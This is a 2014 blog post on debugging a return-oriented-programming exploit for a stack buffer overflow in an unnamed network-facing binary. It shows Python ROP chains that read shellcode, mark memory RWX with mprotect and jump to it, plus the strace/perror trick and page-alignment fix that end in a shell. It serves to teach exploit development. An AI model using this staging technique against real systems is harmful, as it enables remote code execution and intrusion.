Title: Debugging ROP like a pro
Date: 2014-10-29 03:00

I was trying to exploit a stack-based buffer overflow in a binary that was supposed to be
run on the network, but my exploit kept crashing after the mprotect call,
and it couldn't be an offset issues, since I spent time making sure that it wasn't,
by returning to an invalid address like `0x42424242`.

It was a classic ROP payload, that wrote my payload somewhere, called
`mprotect`, and finally jumped to it. But it was crashing with a segfault:

```
Oct 29 01:26:35 kaa kernel: [90302.119608] original[29004]: segfault at 8049530 ip 0000000008049530 sp 00000000ffffd43c error 15 in original[8049000+1000]
```

This is the relevant part of my exploit:

```python
print('[+] Sending stage2 (call)')
s.send(rop(
    readplt,
    pop3ret,
    0,
    write_addr,
    512,

    mprotect,
    pop3ret,
    write_addr,
    512,
    1 | 2 | 4,  # RWX

    write_addr
))
```

I was using [socat]( http://www.dest-unreach.org/socat ) to run it:

	socat TCP-LISTEN:2323,reuseaddr,fork EXEC:./mybinary

By the way, can you guess what is wrong (there is not badchars)?

I could of course modify my exploit to be runnable inside GDB with
some [trickery]({filename}/reversing/feed-binary-stdin-from-inside-gdb.md).
Unfortunately, I had to leak some offset, involving some ping-pong between
the binary and my exploit. This is at best awkward to do in GDB.
Of course I could disable ASLR, but this is not elegant, nor practical
for some binaries.

Instead, (thanks again to [crowell]( https://twitter.com/jeffreycrowell ) for the idea),
I kept my original payload, but ran the binary under `strace(1)`, filtering on
`write(2)`, and returned to [`perror(3)`]( http://linux.die.net/man/3/perror ):

```python
s.send(rop(
    readplt,  # read our shellcode into memory
    pop3ret,
    0,
    write_addr,
    512,

    mprotect,  # mark it rwx
    pop3ret,
    write_addr,
    512,
    1 | 2 | 4,  # RWX
 
    perror,  # get mprotect's error
    popret,
    0,

    write_addr  # jump to our shellcode
))
```

```
$ socat TCP-LISTEN:2323,reuseaddr,fork EXEC:'strace -e trace=write ./mybinary'
[ Process PID=30062 runs in 32 bit mode. ]
write(1, "\2601\356\367", 4)            = 4
write(3, "Invalid argument\n", 17Invalid argument
)      = 17
--- SIGSEGV {si_signo=SIGSEGV, si_code=SEGV_ACCERR, si_addr=0x8049530} ---
+++ killed by SIGSEGV (core dumped) +++
```

Way more readable!

So, it seems that we're providing an "Invalid argument" to mprotect.
A quick glance to the manpage (that I should have read in the first place)
tells use that: *addr must be aligned to a page boundary.*.

```
$ getconf PAGE_SIZE
4096
```

So, here is the correct code:

```python
write_addr -= (write_addr % 4096)

s.send(rop(
    readplt,
    pop3ret,
    0,
    write_addr,
    512,

    mprotect,
    pop3ret,
    write_addr,
    512,
    1 | 2 | 4,  # RWX
 
    perror,
    popret,
    0,

    write_addr  # jump to our shellcode
))
```

And that's it:

```
$ python exploit4.py
[+] Sending stage1 (leak)
[*] GOT at 0xf7ee31b0
[*] mprotect at 0xf7eef2d0
[*] read at 0xf7eef5c3
[+] Sending stage2 (call)
[+] sending stage3 (payload)
$ id
uid=1000(jvoisin) gid=1000(jvoisin) groups=1000(jvoisin),4(adm),11(lpadmin),27(sudo),30(dip),46(plugdev)
$ 
```
